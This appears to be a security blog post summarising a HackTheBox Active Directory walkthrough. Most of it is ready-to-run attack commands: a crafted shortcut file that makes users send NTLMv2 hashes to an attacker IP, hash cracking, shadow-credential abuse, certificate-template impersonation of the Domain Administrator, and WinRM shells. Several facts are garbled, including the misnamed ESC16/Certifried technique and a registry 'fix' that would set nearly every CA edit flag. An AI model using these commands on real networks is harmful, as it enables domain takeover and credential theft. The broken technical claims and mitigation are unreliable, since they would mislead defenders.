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Introduction:
The recent “Fluffy” HackTheBox machine writeup by Mohamed Saber demonstrates a devastating attack chain against an Active Directory environment. This assumed breach scenario showcases how attackers can leverage a combination of NTLM relay attacks, Active Directory privilege abuse, and certificate template misconfigurations to achieve full domain control. Understanding this kill chain is essential for defenders to harden their networks.
Learning Objectives:
- Understand the mechanics of an NTLMv2 capture attack via a crafted ZIP file (CVE-2025-24071).
- Learn how to abuse Active Directory ACLs like GenericAll and GenericWrite to establish persistence.
- Master the technique of exploiting ESC16 for domain privilege escalation.
You Should Know:
1. Crafting a Malicious ZIP for NTLMv2 Capture
A common technique to coerce a remote system into authenticating to an attacker is by abusing file formats that trigger automatic SMB connections. This can be done with tools like responder.
On Attacker Kali Machine sudo python3 /usr/share/responder/Responder.py -I tun0 -dwv Craft a malicious .zip file (or .scf, .url) that references a file on the attacker's SMB share echo "[bash]" > @file.lnk echo "URL=anything" >> @file.lnk echo "WorkingDirectory=anything" >> @file.lnk echo "IconFile=\\10.10.14.15\share\icon.ico" >> @file.lnk echo "IconIndex=1" >> @file.lnk
Step-by-step guide: This attack exploits how Windows automatically tries to retrieve a referenced icon file over SMB. By placing a crafted `.lnk` or `.scf` file on a writable share, any user who browses the folder with Windows Explorer will automatically attempt to authenticate to the attacker’s IP address (10.10.14.15). The Responder tool listens for these incoming SMB connections and captures the user’s NTLMv2 hash, which can then be cracked offline with tools like Hashcat.
2. Cracking NTLMv2 Hashes with Hashcat
Once an NTLMv2 hash is captured, it must be cracked to obtain the plaintext password.
The captured hash will be in a file like /usr/share/responder/logs/SMBv2-NTLMv2-SSP-10.10.10.10.txt Format: username::domain:challenge:NT_response:LM_response Crack the hash using a wordlist (rockyou.txt) hashcat -m 5600 'captured_hash.txt' /usr/share/wordlists/rockyou.txt --force
Step-by-step guide: Hashcat mode `5600` is specifically for NTLMv2 hashes. The command takes the file containing the hash, a wordlist (rockyou.txt), and attempts to find a matching password through a dictionary attack. Using a more powerful GPU and larger wordlists increases the chance of success.
3. Abusing GenericAll with Shadow Credentials
After obtaining user credentials, an attacker may find they have excessive permissions over other objects, such as the `GenericAll` privilege, which allows full control.
Using Whisker (a C tool) to add Shadow Credentials Whisker.exe add /target:computer01 /domain:fluffy.htb /dc:DC01.fluffy.htb /password:Password123 This generates a raw Kerberos certificate for the device Use Rubeus to request a TGT using the certificate Rubeus.exe asktgt /user:computer01 /certificate:<BASE64_CERT> /ptt
Step-by-step guide: The `GenericAll` permission on a computer object allows an attacker to abuse Resource-Based Constrained Delegation or, as shown here, add a Key Credential (Shadow Credential). This effectively gives the attacker a permanent backdoor. Whisker performs this attack, and Rubeus is then used to request a Kerberos Ticket-Granting Ticket (TGT) with the newly created credential, which is injected into memory (/ptt).
4. Gaining WinRM Access
With a valid Kerberos ticket, an attacker can access the machine via WinRM.
After using Rubeus /ptt, the ticket is in your current session Connect using Evil-WinRM evil-winrm -i computer01.fluffy.htb -S
Step-by-step guide: Evil-WinRM is a powerful shell for connecting to Windows Remote Management (WinRM). The `-i` flag specifies the target IP or hostname, and the `-S` option enables SSL. Once the Kerberos ticket is injected into the memory of your attacking machine, Evil-WinRM will use it for authentication, granting you a shell.
5. Enumerating AD Certificate Services with Certify
Once on a machine, enumerating Certificate Services is critical for finding privilege escalation paths like ESC1 or ESC16.
Using Certify to find vulnerable templates Certify.exe find /vulnerable /currentuser
Step-by-step guide: Certify is a C tool that queries the Active Directory Certificate Services (AD CS) to find misconfigured certificate templates. The `/vulnerable` flag filters for templates known to be abusable, such as those that allow enrollment for domain computers and specify a dangerous issuance policy like ENROLLEE_SUPPLIES_SUBJECT.
6. Exploiting ESC16 for Domain Admin (Certifried)
ESC16 is a misconfiguration where a certificate template has the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set, allowing an attacker to request a certificate for any user, including a domain admin.
1. Request a certificate for a DA using a vulnerable template Certify.exe request /ca:CA01\fluffy-DC01-CA /template:VulnerableTemplate /altname:DOMAIN\Administrator 2. Convert the generated base64 certificate to a .pfx file Rubeus.exe asktgt /user:Administrator /certificate:<BASE64_CERT> /ptt /outfile:da.pfx 3. Use the ticket to access the Domain Controller evil-winrm -i DC01.fluffy.htb -S
Step-by-step guide: If the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is enabled on the CA (a common legacy setting), any user who can enroll in a template can specify an Alternative Subject Name, effectively allowing them to impersonate any user, including a Domain Administrator. Certify is used to request the certificate, Rubeus converts it into a Kerberos ticket, and Evil-WinRM provides a shell as the DA.
7. Mitigation: Hardening AD CS Configuration
Defenders must audit and harden their AD CS infrastructure to prevent these attacks.
PowerShell to check for the EDITF_ATTRIBUTESUBJECTALTNAME2 flag Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' | Select-Object EditFlags To disable the flag (value 0xFFFFFFFF has the flag set; subtract 0x00040000 to disable) Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -Name EditFlags -Value (0xFFFFFFFF - 0x00040000)
Step-by-step guide: The registry value `EditFlags` controls this setting. A value of `0xFFFFFFFF` typically has the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag enabled. subtracting `0x00040000` disables it. This should be done on all Certificate Authority servers after thorough testing, as it can break legitimate functionality.
What Undercode Say:
- The Attack Chain is the Standard: This Fluffy exploit path is no longer a novel attack but a standardized kill chain combining well-documented techniques. Defenders must assume that any initial foothold can lead to this exact series of escalations.
- Monitor for Petipotent ACLs: The primary enabler was likely an overly permissive Access Control List (ACL) on a computer or user object. Continuous auditing of ACLs with tools like BloodHound is no longer optional but a critical security control.
- Analysis: The Fluffy box is a stark reminder that modern AD attacks are less about zero-days and more about chaining common misconfigurations. The initial NTLMv2 capture is a classic technique that still works because networks often lack SMB signing enforcement. The subsequent abuse of AD ACLs and Certificate Services highlights a massive gap in proactive hardening and monitoring. Organizations that fail to regularly run BloodHound and AD CS auditing tools are essentially waiting to be compromised. The future of defense lies in automated continuous penetration testing, where these exact chains are run by blue teams before red teams can exploit them.
Prediction:
The techniques demonstrated in the Fluffy hack will become increasingly automated and integrated into common penetration testing frameworks like Metasploit and Canvas. Within the next 18 months, we predict a significant rise in incidents stemming from AD CS misconfigurations (ESC1, ESC16) as attackers shift their focus from exploiting software vulnerabilities to exploiting architectural weaknesses in identity and certificate management. This will force a major industry-wide push for the mandatory implementation of SMB signing, LDAP signing/channel binding, and the default hardening of AD CS templates, fundamentally changing default Windows Server deployments.
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IT/Security Reporter URL:
Reported By: https://lnkd.in/p/dNdX8Mjz – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
